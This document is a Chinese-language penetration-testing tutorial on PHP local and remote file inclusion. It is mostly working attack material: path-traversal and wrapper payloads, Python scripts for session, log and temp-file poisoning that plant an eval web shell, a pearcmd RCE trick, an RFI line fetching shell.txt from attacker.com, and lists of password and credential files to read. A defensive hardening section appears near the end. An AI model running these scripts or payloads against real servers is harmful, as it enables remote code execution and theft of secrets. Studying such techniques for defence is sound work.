一、文件包含是什么
文件包含漏洞是 PHP(最主要)、JSP、ASP 等脚本语言的核心特性被滥用的结果。
1.1 PHP 的四个危险函数
include(); // 包含文件,找不到报 warning 但继续执行
include_once(); // 同上,但只包含一次
require(); // 包含文件,找不到报 fatal 停止执行
require_once(); // 同上,但只包含一次
1.2 典型漏洞代码
<?php
// index.php
$page = $_GET['page'];
include("pages/" . $page . ".php");
// $page 没做过滤!
?>
正常请求:index.php?page=home → 包含 pages/home.php
攻击者请求:index.php?page=../../etc/passwd → 包含 pages/../../etc/passwd.php
1.3 LFI vs RFI
| 类型 | 全称 | 目标 | 前提 |
|---|---|---|---|
| LFI | Local File Inclusion | 本地文件 | PHP 有文件读取权限 |
| RFI | Remote File Inclusion | 远程 URL | allow_url_include=On |
现在大多数生产环境 allow_url_include 都是 Off,RFI 已经很少见了。LFI 仍然非常普遍。
二、基础路径穿越
2.1 基础 payload
``
常规路径
?page=../../../../etc/passwd
当前目录短写
?page=....//....//....//etc/passwd
URL 编码
?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd
双写绕过过滤(把 ../ 替换成空)
?page=....//....//etc/passwd
``
2.2 PHP 5.x null byte 截断
``
PHP < 5.3.4 可用
?page=../../etc/passwd%00
这样就不会自动追加 .php 后缀了
``
2.3 PHP 7+ 的 %00 已经被禁用,但用协议可绕过:
?page=php://filter/convert.base64-encode/resource=../../../etc/passwd
三、LFI 提升:把文件包含变成代码执行
直接 include('/etc/passwd') 只能看到文本内容(不会被执行)。但如果能让包含的文件里有 PHP 代码,就会被当作 PHP 执行。
3.1 Session 文件包含
PHP 默认把 session 存到 /tmp/sess_xxxxxx。如果能控制 session 里的值,就能写入 PHP 代码,然后通过 LFI 包含执行。
# lfi_session.py
import requests
TARGET = "http://target.com/index.php"
LFI = "http://target.com/index.php?page="
SLEEP = "sleep" # 对应 PHP 配置 session.save_path
# Step 1: 写入 Session
s = requests.Session()
# 通过登录/操作让服务端记录 Session
r = s.get(f"{LFI}{SLEEP}")
# 直接设置 PHPSESSID 里带 PHP 代码
# 方法:通过某个功能让 session 里写入可控值
s.cookies.set('PHPSESSID', 'test123')
# 访问一个会写 session 的页面(比如登录失败)
s.post("http://target.com/login.php", data={
"user": "<?php eval($_GET['c']); ?>",
"pass": "wrong",
})
# Step 2: 找到 session 文件并包含
# session 文件路径通常在 phpinfo 里能看到
session_path = "/tmp/sess_test123"
r = requests.get(f"{LFI}{session_path}&c=phpinfo();")
print(r.text[:2000])
3.2 日志文件包含
Apache 访问日志里会记录 User-Agent 和其他请求头。如果把 PHP 代码写进 User-Agent,然后通过 LFI 包含这个日志文件,就能执行。
# Step 1: 往日志里写入 PHP 代码
curl -A "<?php eval($_GET['c']); ?>" http://target.com/
# Step 2: 包含日志文件
# Apache 默认日志路径
curl "http://target.com/index.php?page=/var/log/apache2/access.log&c=phpinfo();"
# 或 /var/log/httpd/access_log
# lfi_log.py - 完整自动化
import requests
TARGET = "http://target.com/"
LFI = "http://target.com/index.php?page="
# 常见日志路径
LOG_PATHS = [
"/var/log/apache2/access.log",
"/var/log/apache/access.log",
"/var/log/httpd/access_log",
"/var/log/nginx/access.log",
"/var/log/nginx/error.log",
"/var/log/apache2/error.log",
"/www/wwwlogs/target.com.log",
"/www/server/nginx/logs/nginx.log",
"/home/wwwlogs/target.com.log",
"C:/Apache24/logs/access.log",
"C:/nginx/logs/access.log",
"C:/Windows/System32/LogFiles/W3SVC1/ex.log",
]
SHELL = b'<?php eval($_GET["c"]); ?>'
# Step 1: 写入日志
headers = {'User-Agent': SHELL.decode()}
requests.get(TARGET, headers=headers)
# Step 2: 扫描包含
for log in LOG_PATHS:
r = requests.get(f"{LFI}{log}&c=echo PWNED;", timeout=3)
if 'PWNED' in r.text:
print(f"[+] 成功!日志路径 = {log}")
print(r.text[:500])
break
else:
print("[-] 没找到,可能路径不同")
3.3 /proc/self/environ 包含
PHP 在 CGI 模式下,/proc/self/environ 里有 HTTP_USER_AGENT 环境变量。包含它也能执行 User-Agent 里的 PHP 代码。
``bash
写入 + 包含
curl -A "" http://target.com/
curl "http://target.com/index.php?page=/proc/self/environ&c=phpinfo();"
``
这个方法的前提是 PHP 运行在 CGI/FastCGI 模式,Apache 模块模式下不行。
3.4 /proc/self/fd/N 包含
某些场景可以打开任意文件描述符:
``
?page=/proc/self/fd/5
fd 是打开的文件描述符,可能对应上传的临时文件
``
3.5 临时文件竞争条件(LFI + 文件上传)
PHP 文件上传后会存在临时文件(/tmp/phpXXXXXX),在脚本执行完之前会被自动删除。如果能在删除前包含它,里面可能有可控内容。
# lfi_tmpfile.py - LFI + 文件上传竞争
import requests, threading, time
TARGET = "http://target.com/upload.php"
LFI = "http://target.com/index.php?page="
def upload():
while True:
files = {'file': ('a.jpg', b'<?php eval($_GET["c"]); ?>')}
requests.post(TARGET, files=files)
def check():
tmp_patterns = [
"/tmp/php%25s", "/tmp/php%25s.jpg",
"/tmp/phpXXXXXX",
"/var/tmp/php%25s",
]
for pat in tmp_patterns:
url = f"{LFI}{pat.replace('%25', '%')}&c=echo+PWNED;"
r = requests.get(url, timeout=2)
if 'PWNED' in r.text:
print(f"[+] SUCCESS: {pat}")
break
# 或者用 PHP 的 session.upload_progress 特性
# 启用时上传大文件会在 session 里记录进度(含文件名)
# 然后包含 session 文件里的临时文件名
# 启动并发
for _ in range(15):
threading.Thread(target=upload, daemon=True).start()
for _ in range(50):
threading.Thread(target=check, daemon=True).start()
time.sleep(60)
3.6 pearcmd.php RCE(经典 LFI 转 RCE)
服务器安装了 pear 时(很多老 PHP 环境自带),可以通过 LFI 包含 pearcmd.php 执行任意命令:
``
先找到 pearcmd.php 的位置
?page=php://filter/convert.base64-encode/resource=/usr/local/lib/php/pearcmd.php
然后 LFI 包含 + 参数注入
格式:?+config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/shell.php
最终 URL 被解析为:
pages/../../usr/local/lib/php/pearcmd.php + +config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/shell.php
``
四、LFI 读文件清单
4.1 Linux 关键文件
/etc/passwd # 用户列表 /etc/shadow # 密码哈希(需要 root) /etc/hosts # 内网 IP /etc/my.cnf # MySQL 配置 /etc/httpd/conf/httpd.conf # Apache 配置 /etc/nginx/nginx.conf # Nginx 配置 /root/.bash_history # root 的历史命令(有密码) /var/www/html/config.php # Web 应用配置文件 /proc/version # 内核版本 /proc/cmdline # 启动参数(可能有密码) /proc/self/environ # 环境变量 /proc/net/f_impacket # 网络连接 /proc/net/tcp # 所有 TCP 连接 /proc/net/udp # 所有 UDP /proc/meminfo # 内存信息
4.2 自动化读取脚本
# lfi_enum.py
import requests, base64, sys
LFI = "http://target.com/index.php?page="
FILES = [
"/etc/passwd",
"/etc/hosts",
"/etc/my.cnf",
"/etc/resolv.conf",
"/proc/version",
"/proc/cmdline",
"/proc/self/environ",
"/var/log/apache2/access.log",
"/var/log/nginx/access.log",
]
def read_file(path):
# 用 php://filter base64 安全读取任意文件
url = (
f"{LFI}php://filter/convert.base64-encode/"
f"resource={path}"
)
r = requests.get(url, timeout=5)
# 找 base64 片段
import re
m = re.findall(r'[A-Za-z0-9+/]{40,}={0,2}', r.text)
if m:
for b64 in m:
try:
decoded = base64.b64decode(b64).decode('utf-8', errors='ignore')
if len(decoded) > 5:
return decoded
except:
pass
return None
for f in FILES:
content = read_file(f)
if content:
print(f"
{'='*60}")
print(f"[+] {f}")
print(content[:1000])
else:
print(f"[-] {f} 读取失败")
4.3 Windows 关键文件
C:/windows/win.ini C:/windows/system32/config/sam # 密码哈希 C:/windows/system32/config/system C:/windows/system32/config/software C:/windows/system32/inetsrv/config/applicationHost.config # IIS C:/xampp/apache/conf/httpd.conf # XAMPP C:/wamp/apache/conf/httpd.conf C:/windows/system32/drivers/etc/hosts
五、RFI 远程文件包含
5.1 前提条件
``ini
php.ini
allow_url_include = On # 默认 Off
allow_url_fopen = On # 默认 On
``
5.2 RFI payload
``
远程 PHP 文件(最直接)
?page=http://attacker.com/shell.txt # attacker.com 上放 shell.txt,PHP 代码
data:// 协议
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
php://input POST 数据包含(allow_url_include=On 时)
POST body 写 PHP 代码
?page=php://input
expect:// 执行命令(需要安装 expect 扩展)
?page=expect://id
``
5.3 RFI vs LFI:谁更危险?
| 维度 | LFI | RFI |
|---|---|---|
| 前提 | PHP 读文件权限 | allow_url_include=On |
| 能力 | 读文件 + 间接执行 | 直接执行远程 PHP |
| 现状 | 仍然大量存在 | 基本绝迹 |
| 经典 payload | Session/日志/临时文件 | 远程 txt 木马 |
六、Java 环境下的文件包含
Java 没有像 PHP 那样的 include 函数,但自定义的模板引擎和Spring Cloud 配置存在类似风险:
6.1 JSP include
jsp <jsp:include page="${param.page}" /> <jsp:include file="${param.page}" /> <!-- 某些容器 -->
6.2 FreeMarker / Velocity 模板
java // 后端代码把用户输入拼进模板路径 String template = "/templates/" + request.getParameter("name") + ".ftl"; configuration.getTemplate(template).process(data, writer); // 路径穿越:name=../../etc/passwd%00
6.3 Spring Boot spring.config.location
Spring Boot 1.x 允许通过参数指定外部配置文件路径,存在路径穿越:
bash java -jar app.jar --spring.config.location=../../../../etc/passwd
七、LFI 与其他漏洞组合
7.1 LFI + 文件上传 = RCE
- 上传一张 PHP 图片马(内容包含 PHP 代码)
- 通过 LFI 包含这张图片 → 执行
7.2 LFI + SSRF = 内网文件读取
- SSRF 拿到内网某台机器的文件包含点
- LFI 读取内网配置
7.3 LFI + 日志注入 = RCE
- 往 Nginx/Apache/PHP-FPM 错误日志写 PHP 代码
- LFI 包含日志 → 执行
7.4 LFI + PHP 伪协议 = 任意文件读
- 直接
php://filter/convert.base64-encode/resource=/path/to/file - 绕过后缀自动追加和 PHP 标签执行
7.5 LFI + PHP 反序列化 = 利用链
- 先找到 __wakeup 被触发的 POP 链
- 通过 include /tmp/xxx 触发反序列化
- 再利用 __toString 之类进入下一环
八、防御方案
8.1 路径穿越防护
<?php
// 方案一:白名单
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowed)) die('非法页面');
include("pages/" . $page . ".php");
// 方案二:realpath 校验
$base = realpath("./pages/");
$full = realpath("./pages/" . $_GET['page'] . ".php");
if (!$full || strpos($full, $base) !== 0) die('非法路径');
include($full);
// 方案三:禁用危险 Wrapper(php.ini)
allow_url_include = Off
allow_url_fopen = Off
disable_functions = include,require,file_get_contents,fopen
// 方案四:open_basedir 限制路径
open_basedir = /var/www/html:/tmp
?>
8.2 全面加固清单
- 禁止
allow_url_include -
open_basedir限制 PHP 可访问目录 - 关键函数加入
disable_functions - 使用
realpath校验文件必须在允许目录内 - 日志文件权限(Web 用户不能读)
- Session 存储目录权限(Web 用户不能枚举)
- Nginx/Apache 禁用
%00和路径穿越 - 上传目录与 Web 根目录分离(非执行)
九、小结
LFI 的攻击面比 SSRF 更广、利用链更短:
``
LFI = 任意文件读
- 日志包含 → RCE
- Session → RCE
- 临时文件 → RCE
- pearcmd → RCE
- PHP 伪协议 → 读取任意文件源码
``
关键思路:如果 include 能被用户控制路径,几乎一定能升到 RCE。